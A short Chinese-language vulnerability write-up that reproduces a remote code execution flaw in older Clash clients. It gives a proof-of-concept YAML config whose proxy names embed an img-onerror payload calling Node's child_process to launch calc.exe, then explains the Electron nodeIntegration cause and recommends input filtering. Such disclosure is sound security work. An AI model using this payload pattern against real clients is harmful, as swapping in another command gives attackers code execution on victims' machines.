前段时间clash软件出现RCE漏洞,在这里将漏洞进行复现!
该漏洞影响0.19.9版本以下。
port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
- name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: socks5
server: 127.0.0.1
port: "17938"
skip-cert-verify: true
- name: abc
type: socks5
server: 127.0.0.1
port: "8088"
skip-cert-verify: true
proxy-groups:
-
name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: select
proxies:
- a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
将POC放入文件中如txt或者yaml然后import导入,此时再点击proxies即可触发poc弹出计算机
原理
clash 使用了Electron框架,且nodeIntegration值为True,说明开启了Node.js扩展,于是我们可以调用node.js模块从XSS到RCE
只要不进行严格的过滤,就会造成rce
require(‘child_process’).exec('')
1
形如这样的漏洞已经出现很多如
- 蚁剑
- xmind 2020等等
所以还是谨慎开启nodeIntegration参数,如果开启一定要对用户可控输入点做好充分的过滤
- 如特殊字符实体编码等